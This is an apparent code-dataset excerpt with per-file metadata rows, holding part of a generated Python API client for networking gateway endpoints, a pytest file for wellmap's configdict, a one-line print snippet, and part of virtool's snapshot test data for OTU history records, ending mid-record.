_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[Tag]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['tag_array'] = \
tag_array
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_tag_put = _Endpoint(
settings={
'response_type': ([Tag],),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/tag',
'operation_id': 'networking_project_netgw_tag_put',
'http_method': 'PUT',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'tag_array',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'tag_array',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'tag_array':
(TagArray,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'tag_array': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client,
callable=__networking_project_netgw_tag_put
)
def __networking_project_netgw_update(
self,
project_id,
location_id,
netgw_id,
networking_project_netgw_update,
**kwargs
):
"""Update networking/netgw # noqa: E501
Returns modified netgw # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_update(project_id, location_id, netgw_id, networking_project_netgw_update, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
networking_project_netgw_update (NetworkingProjectNetgwUpdate):
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Netgw
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['networking_project_netgw_update'] = \
networking_project_netgw_update
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_update = _Endpoint(
settings={
'response_type': (Netgw,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}',
'operation_id': 'networking_project_netgw_update',
'http_method': 'PATCH',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'networking_project_netgw_update',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'networking_project_netgw_update',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'networking_project_netgw_update':
(NetworkingProjectNetgwUpdate,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'networking_project_netgw_update': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client,
callable=__networking_project_netgw_update
)
| 36.973521
| 144
| 0.447524
| 7,430
| 89,365
| 5.085061
| 0.029341
| 0.041925
| 0.064052
| 0.040231
| 0.950135
| 0.924356
| 0.906596
| 0.905193
| 0.885475
| 0.884072
| 0
| 0.003198
| 0.468147
| 89,365
| 2,416
| 145
| 36.988825
| 0.791727
| 0.28848
| 0
| 0.729777
| 1
| 0
| 0.236751
| 0.054355
| 0
| 0
| 0
| 0
| 0
| 1
| 0.009965
| false
| 0
| 0.00762
| 0
| 0.02755
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
03c553ba602dd4d47761fe86617b55d6e673f64d
| 3,159
|
py
|
Python
|
tests/test_configdict.py
|
kalekundert/wellmap
|
05a9029807276ec29aea63db10c664ad2ede093c
|
[
"MIT"
] | 7
|
2020-05-29T21:14:49.000Z
|
2022-01-25T15:35:17.000Z
|
tests/test_configdict.py
|
kalekundert/wellmap
|
05a9029807276ec29aea63db10c664ad2ede093c
|
[
"MIT"
] | 24
|
2020-06-09T14:29:03.000Z
|
2022-03-25T22:43:24.000Z
|
tests/test_configdict.py
|
kalekundert/wellmap
|
05a9029807276ec29aea63db10c664ad2ede093c
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
from wellmap import *
def test_empty():
config = configdict({})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {}
def test_user():
config = configdict({'x': 1})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {'x': 1}
def test_meta():
config = configdict({'x': 1, 'meta': {'y': 2}})
assert config.meta == {'y': 2}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {'x': 1}
def test_rows():
config = configdict({'x': 1, 'row': {'y': 2}})
assert config.meta == {}
assert config.rows == {'y': 2}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {'x': 1}
def test_irows():
config = configdict({'x': 1, 'irow': {'y': 2}})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {'y': 2}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {'x': 1}
def test_cols():
config = configdict({'x': 1, 'col': {'y': 2}})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {'y': 2}
assert config.icols == {}
assert config.wells == {}
assert config.user == {'x': 1}
def test_icols():
config = configdict({'x': 1, 'icol': {'y': 2}})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {'y': 2}
assert config.wells == {}
assert config.user == {'x': 1}
def test_wells():
config = configdict({'x': 1, 'well': {'y': 2}})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {'y': 2}
assert config.user == {'x': 1}
def test_getattr():
config = configdict({})
config.meta['x'] = 1; assert config.meta == {'x': 1}
config.rows['x'] = 2; assert config.rows == {'x': 2}
config.irows['x'] = 3; assert config.irows == {'x': 3}
config.cols['x'] = 4; assert config.cols == {'x': 4}
config.icols['x'] = 5; assert config.icols == {'x': 5}
config.wells['x'] = 6; assert config.wells == {'x': 6}
def test_setattr():
config = configdict({})
config.meta = {'x': 1}; assert config['meta']['x'] == 1
config.rows = {'x': 2}; assert config['row']['x'] == 2
config.irows = {'x': 3}; assert config['irow']['x'] == 3
config.cols = {'x': 4}; assert config['col']['x'] == 4
config.icols = {'x': 5}; assert config['icol']['x'] == 5
config.wells = {'x': 6}; assert config['well']['x'] == 6
| 30.669903
| 63
| 0.53308
| 391
| 3,159
| 4.28133
| 0.089514
| 0.487455
| 0.108722
| 0.100358
| 0.810633
| 0.795102
| 0.795102
| 0.780167
| 0.632019
| 0.632019
| 0
| 0.021592
| 0.252295
| 3,159
| 102
| 64
| 30.970588
| 0.68713
| 0.006648
| 0
| 0.58427
| 0
| 0
| 0.029974
| 0
| 0
| 0
| 0
| 0
| 0.764045
| 1
| 0.11236
| false
| 0
| 0.011236
| 0
| 0.123596
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ff1015992abec40b2bbc0f9ae8e9e207a2781f45
| 28
|
py
|
Python
|
Chapter 04/ch41a.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
Chapter 04/ch41a.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
Chapter 04/ch41a.py
|
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
|
f6a4194684515495d00aa38347a725dd08f39a0c
|
[
"MIT"
] | null | null | null |
print(27 + 8 * 2 - 6)
#37
| 9.333333
| 22
| 0.428571
| 6
| 28
| 2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.388889
| 0.357143
| 28
| 3
| 23
| 9.333333
| 0.277778
| 0.071429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
afe2284707d51c23fabbe2fd506d54d70791a062
| 77,542
|
py
|
Python
|
tests/otus/snapshots/snap_test_api.py
|
ColeVoelpel/virtool
|
859c8d2516f07343bde47f3bae0247dedd76e6c4
|
[
"MIT"
] | 1
|
2019-08-23T00:19:00.000Z
|
2019-08-23T00:19:00.000Z
|
tests/otus/snapshots/snap_test_api.py
|
ColeVoelpel/virtool
|
859c8d2516f07343bde47f3bae0247dedd76e6c4
|
[
"MIT"
] | null | null | null |
tests/otus/snapshots/snap_test_api.py
|
ColeVoelpel/virtool
|
859c8d2516f07343bde47f3bae0247dedd76e6c4
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# snapshottest: v1 - https://goo.gl/zC4yUc
from __future__ import unicode_literals
from snapshottest import GenericRepr, Snapshot
snapshots = Snapshot()
snapshots['TestCreate.test[True-uvloop-None-True] history'] = {
'_id': '9pfsom1b.0',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
}
snapshots['TestCreate.test[True-uvloop-None-True] otu'] = {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop-TMV-True] history'] = {
'_id': '9pfsom1b.0',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Created Tobacco mosaic virus (TMV)',
'diff': {
'_id': '9pfsom1b',
'abbreviation': 'TMV',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
}
snapshots['TestCreate.test[True-uvloop-TMV-True] otu'] = {
'_id': '9pfsom1b',
'abbreviation': 'TMV',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestCreate.test[True-uvloop-True] history'] = {
'_id': '9pfsom1b.0',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Created Tobacco mosaic virus',
'diff': {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'create',
'otu': {
'id': '9pfsom1b',
'name': 'Tobacco mosaic virus',
'version': 0
},
'reference': {
'id': 'foo'
},
'user': {
'id': 'test'
}
}
snapshots['TestCreate.test[True-uvloop-True] otu'] = {
'_id': '9pfsom1b',
'abbreviation': '',
'isolates': [
],
'last_indexed_version': None,
'lower_name': 'tobacco mosaic virus',
'name': 'Tobacco mosaic virus',
'reference': {
'id': 'foo'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestSetAsDefault.test[True-uvloop] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Set Isolate b as default',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
0,
'default'
],
[
True,
False
]
],
[
'change',
[
'isolates',
1,
'default'
],
[
False,
True
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'set_as_default',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestSetAsDefault.test[True-uvloop] joined'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': False,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': True,
'id': 'test',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 1
}
snapshots['TestSetAsDefault.test_no_change[True-uvloop] joined'] = {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
},
{
'default': False,
'id': 'test',
'sequences': [
],
'source_name': 'b',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestSetAsDefault.test_no_change[True-uvloop] response'] = {
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
snapshots['test_get[uvloop-None] 1'] = {
'abbreviation': 'PVF',
'id': '6116cba1',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
{
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'id': 'KX269872',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'issues': None,
'last_indexed_version': 0,
'most_recent_change': None,
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 0
}
snapshots['TestEdit.test[True-uvloop-data0-TMV-Changed name to Tobacco mosaic otu] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed name to Tobacco mosaic otu',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'lower_name',
[
'prunus virus f',
'tobacco mosaic otu'
]
],
[
'change',
'name',
[
'Prunus virus F',
'Tobacco mosaic otu'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data1-PVF-Changed name to Tobacco mosaic otu and changed abbreviation to TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed name to Tobacco mosaic otu and changed abbreviation to TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'PVF',
'TMV'
]
],
[
'change',
'lower_name',
[
'prunus virus f',
'tobacco mosaic otu'
]
],
[
'change',
'name',
[
'Prunus virus F',
'Tobacco mosaic otu'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data2-PVF-Changed abbreviation to TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed abbreviation to TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'PVF',
'TMV'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data3-TMV-Changed name to Tobacco mosaic otu] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed name to Tobacco mosaic otu',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'lower_name',
[
'prunus virus f',
'tobacco mosaic otu'
]
],
[
'change',
'name',
[
'Prunus virus F',
'Tobacco mosaic otu'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data4-TMV-Changed name to Tobacco mosaic otu and removed abbreviation TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed name to Tobacco mosaic otu and removed abbreviation TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'TMV',
''
]
],
[
'change',
'lower_name',
[
'prunus virus f',
'tobacco mosaic otu'
]
],
[
'change',
'name',
[
'Prunus virus F',
'Tobacco mosaic otu'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data5--Changed name to Tobacco mosaic otu and added abbreviation TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed name to Tobacco mosaic otu and added abbreviation TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'',
'TMV'
]
],
[
'change',
'lower_name',
[
'prunus virus f',
'tobacco mosaic otu'
]
],
[
'change',
'name',
[
'Prunus virus F',
'Tobacco mosaic otu'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data6-PVF-Changed abbreviation to TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed abbreviation to TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'PVF',
'TMV'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data7-PVF-Changed abbreviation to TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Changed abbreviation to TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'PVF',
'TMV'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data8--Added abbreviation TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Added abbreviation TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'',
'TMV'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test[True-uvloop-data9-TMV-Removed abbreviation TMV] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed abbreviation TMV',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
'abbreviation',
[
'TMV',
''
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEdit.test_no_change[True-uvloop-Tobacco mosaic otu-TMV-data0] 1'] = {
'abbreviation': 'TMV',
'id': 'test',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'most_recent_change': None,
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'foo'
}
}
snapshots['TestEdit.test_no_change[True-uvloop-Tobacco mosaic otu-TMV-data1] 1'] = {
'abbreviation': 'TMV',
'id': 'test',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'most_recent_change': None,
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'foo'
}
}
snapshots['TestEdit.test_no_change[True-uvloop-Tobacco mosaic otu-TMV-data2] 1'] = {
'abbreviation': 'TMV',
'id': 'test',
'isolates': [
],
'issues': {
'empty_isolate': False,
'empty_otu': True,
'empty_sequence': False,
'isolate_inconsistency': False
},
'most_recent_change': None,
'name': 'Tobacco mosaic otu',
'reference': {
'id': 'foo'
}
}
snapshots['test_remove[True-uvloop--True] history'] = {
'_id': '6116cba1.removed',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed Prunus virus F',
'diff': {
'_id': '6116cba1',
'abbreviation': '',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'remove',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 'removed'
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_remove[True-uvloop-PVF-True] history'] = {
'_id': '6116cba1.removed',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Removed Prunus virus F (PVF)',
'diff': {
'_id': '6116cba1',
'abbreviation': 'PVF',
'imported': True,
'isolates': [
{
'default': True,
'id': 'cab8b360',
'sequences': [
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
],
'last_indexed_version': 0,
'lower_name': 'prunus virus f',
'name': 'Prunus virus F',
'reference': {
'id': 'hxn167'
},
'schema': [
],
'verified': False,
'version': 0
},
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'remove',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 'removed'
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['test_get_isolate[uvloop-None] 1'] = {
'default': True,
'id': 'cab8b360',
'sequences': [
{
'definition': 'Prunus virus F isolate 8816-s2 segment RNA2 polyprotein 2 gene, complete cds.',
'host': 'sweet cherry',
'id': 'KX269872',
'segment': None,
'sequence': 'TGTTTAAGAGATTAAACAACCGCTTTC'
}
],
'source_name': '8816-v2',
'source_type': 'isolate'
}
snapshots['TestEditIsolate.test[True-uvloop-data0-Renamed Isolate b to Variant b] json'] = {
'default': False,
'id': 'test',
'sequences': [
],
'source_name': 'b',
'source_type': 'variant'
}
snapshots['TestEditIsolate.test[True-uvloop-data0-Renamed Isolate b to Variant b] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Renamed Isolate b to Variant b',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
1,
'source_type'
],
[
'isolate',
'variant'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEditIsolate.test[True-uvloop-data1-Renamed Isolate b to Variant b] json'] = {
'default': False,
'id': 'test',
'sequences': [
],
'source_name': 'b',
'source_type': 'variant'
}
snapshots['TestEditIsolate.test[True-uvloop-data1-Renamed Isolate b to Variant b] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Renamed Isolate b to Variant b',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
1,
'source_type'
],
[
'isolate',
'variant'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEditIsolate.test[True-uvloop-data2-Renamed Isolate b to Variant A] json'] = {
'default': False,
'id': 'test',
'sequences': [
],
'source_name': 'A',
'source_type': 'variant'
}
snapshots['TestEditIsolate.test[True-uvloop-data2-Renamed Isolate b to Variant A] history'] = {
'_id': '6116cba1.1',
'created_at': GenericRepr('datetime.datetime(2015, 10, 6, 20, 0)'),
'description': 'Renamed Isolate b to Variant A',
'diff': [
[
'change',
'version',
[
0,
1
]
],
[
'change',
[
'isolates',
1,
'source_name'
],
[
'b',
'A'
]
],
[
'change',
[
'isolates',
1,
'source_type'
],
[
'isolate',
'variant'
]
]
],
'index': {
'id': 'unbuilt',
'version': 'unbuilt'
},
'method_name': 'edit_isolate',
'otu': {
'id': '6116cba1',
'name': 'Prunus virus F',
'version': 1
},
'reference': {
'id': 'hxn167'
},
'user': {
'id': 'test'
}
}
snapshots['TestEditIsolate.test[True-uvloop-data3-Renamed Isolate b to Isolate A] json'] = {
'default': False,
'id': 'test',
